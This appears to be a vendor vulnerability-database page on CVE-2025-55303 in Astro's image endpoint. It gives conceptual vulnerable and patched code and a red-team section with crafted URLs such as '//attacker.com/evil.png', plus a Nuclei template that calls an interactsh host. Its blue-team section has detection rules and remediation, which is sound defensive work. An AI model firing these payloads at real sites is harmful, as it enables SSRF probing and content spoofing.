CVE-2025-55303
Executive Summary
CVE-2025-55303 is a vulnerability in the Astro web framework affecting versions prior to 5.13.2 and 4.16.18. The flaw resides in the image optimization endpoint (/_image) used in on-demand rendered deployments. An attacker can bypass domain restrictions by supplying a protocol-relative URL (e.g., //attacker.com/image.png) as the href parameter, allowing unauthorized third-party images to be served through the legitimate Astro endpoint. This can lead to information disclosure, content spoofing, or SSRF-like behavior if the endpoint is abused to probe internal networks. The vulnerability has a CVSS v4 score of 6.4 (Medium) and is publicly exploitable with a verified Nuclei template.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Astro is distributed via npm (astro package). The vulnerability affects all versions before 5.13.2 and 4.16.18. Organizations using Astro in on-demand rendering mode should immediately update to the patched versions. No malicious packages have been reported in the supply chain related to this CVE.
CVSS Breakdown & Threat Level
- CVSS v4 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
- Base Score: 6.4 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Passive (victim must load a crafted image URL)
- Confidentiality Impact (System): High (attacker can serve arbitrary images, potentially leaking sensitive data)
- Integrity Impact (System): High (attacker can spoof content)
- Availability Impact (System): None
- EPSS Score: 0.00145% (low exploitation probability)
- Threat Level: Medium – Exploitation requires user interaction but is trivial to execute.
Deep Dive & Mechanics
The vulnerability exists in Astro’s image optimization middleware. When a request is made to /_image?href=..., the server validates the href parameter against a whitelist of allowed domains. However, the validation logic fails to properly handle protocol-relative URLs (starting with //). Instead of rejecting such URLs, the server treats them as valid and fetches the image from the attacker-controlled domain.
Root Cause: The domain validation function likely checks for an absolute URL scheme (e.g., http:// or https://) but does not account for protocol-relative URLs. When a URL like //evil.com/image.png is provided, the server interprets it as a valid relative path and proceeds to fetch the resource, effectively bypassing the domain whitelist.
Impact: An attacker can:
- Serve arbitrary images from external domains, potentially injecting malicious content (e.g., phishing images, tracking pixels).
- Use the endpoint to probe internal network resources (SSRF-like behavior) if the server resolves the protocol-relative URL against internal DNS.
- Leak information by embedding unique identifiers in image URLs and monitoring access logs.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Vulnerable validation logic
function isAllowedDomain(url) {
const parsed = new URL(url);
return allowedDomains.includes(parsed.hostname);
}
// This fails for protocol-relative URLs because new URL('//evil.com/img.png')
// throws an error or returns an unexpected hostname.
Patched Code (Conceptual):
// Patched validation logic
function isAllowedDomain(url) {
// Reject protocol-relative URLs explicitly
if (url.startsWith('//')) return false;
const parsed = new URL(url);
return allowedDomains.includes(parsed.hostname);
}
The patch ensures that protocol-relative URLs are rejected before any domain validation occurs.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A publicly accessible Astro instance with on-demand rendering enabled (default for many deployments).
- An attacker-controlled HTTP server (e.g., using
interactshor a custom server).
Exploit Steps:
- Identify the target Astro endpoint:
https://target.com/_image - Craft a malicious URL:
https://target.com/_image?href=//attacker.com/evil.png - Host a malicious image on
attacker.com/evil.png(e.g., a tracking pixel or phishing image). - Send the crafted URL to a victim or embed it in a page.
- The victim’s browser loads the image from the legitimate Astro domain, but the content is served from the attacker’s server.
Nuclei Template (Provided):
id: CVE-2025-55303
info:
name: Astro - Unauthorized Third-Party Image Access
author: theamanrawat
severity: medium
description: |
Astro < 5.13.2 and < 4.16.18 contains an information disclosure vulnerability caused by improper validation of protocol-relative URLs in the image optimization endpoint, letting attackers serve images from unauthorized third-party domains, exploit requires on-demand rendering deployment.
impact: |
Attackers can serve images from unauthorized third-party domains, potentially leading to information disclosure or content spoofing.
remediation: |
Update to versions 5.13.2 or 4.16.18 or later.
reference:
- https://github.com/advisories/GHSA-xf8x-j4p2-f749
- https://nvd.nist.gov/vuln/detail/CVE-2025-55303
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
cvss-score: 6.4
cve-id: CVE-2025-55303
epss-score: 0.00145
epss-percentile: 0.34458
cwe-id: CWE-79
metadata:
verified: true
max-request: 1
shodan-query: http.html:"astro"
tags: cve,cve2025,astro,ssrf,vuln,vkev
http:
- method: GET
path:
- "{{BaseURL}}/_image?href=//{{interactsh-url}}/600x400"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'interactsh_protocol == "http"'
- 'contains(header, "image/")'
condition: and
Usage: Run with Nuclei: nuclei -t CVE-2025-55303.yaml -u https://target.com
Blue Team
Detection Steps:
- Monitor access logs for requests to
/_imagewithhrefparameters starting with//. - Alert on any
/_imagerequests where thehrefparameter does not match the allowed domain list. - Use the provided YARA/Sigma rules to detect exploitation attempts.
Honeypot: Deploy a fake Astro endpoint and log all /_image requests. Any request with a protocol-relative URL is malicious.
Indicators of Compromise (IOCs)
- URL Pattern:
/_image?href=//*(protocol-relative URL) - HTTP Request: GET
/_image?href=//attacker.com/image.png - Response Header:
Content-Type: image/*(served from unexpected domain) - Log Entry:
GET /_image?href=//...with status 200
Detection Engineering
YARA Rule
rule CVE_2025_55303_Astro_Image_Bypass {
meta:
description = "Detects exploitation attempts of CVE-2025-55303 in Astro web framework"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-55303"
strings:
$url_pattern = /\/_image\?href=\/\// nocase
condition:
$url_pattern
}
Sigma Rule
title: Astro Image Optimization Endpoint Protocol-Relative URL Bypass
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects requests to Astro's /_image endpoint with protocol-relative URLs (starting with //)
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-55303
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-uri-query|contains: "/_image?href=//"
condition: selection
falsepositives:
- Legitimate use of protocol-relative URLs if allowed by configuration (unlikely)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-55303 Astro Image Optimization Protocol-Relative URL Bypass"; flow:to_server,established; content:"/_image?href=//"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update Astro to version 5.13.2 or 4.16.18 (or later).
- If immediate update is not possible, implement a WAF rule to block requests to
/_imagewithhrefparameters starting with//. - Restrict the
/_imageendpoint to only allow specific domains via reverse proxy configuration.
Long-Term Fix:
- Apply the patch provided by the Astro maintainers.
- Review all URL validation logic to ensure protocol-relative URLs are explicitly rejected.
Workaround:
- Disable on-demand rendering if not required, or use a CDN that validates image sources.
Valters IT
Securing Digital Frontiers
{/* [Security Hash: 2DAF31FE5C53AD334F1313D7] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.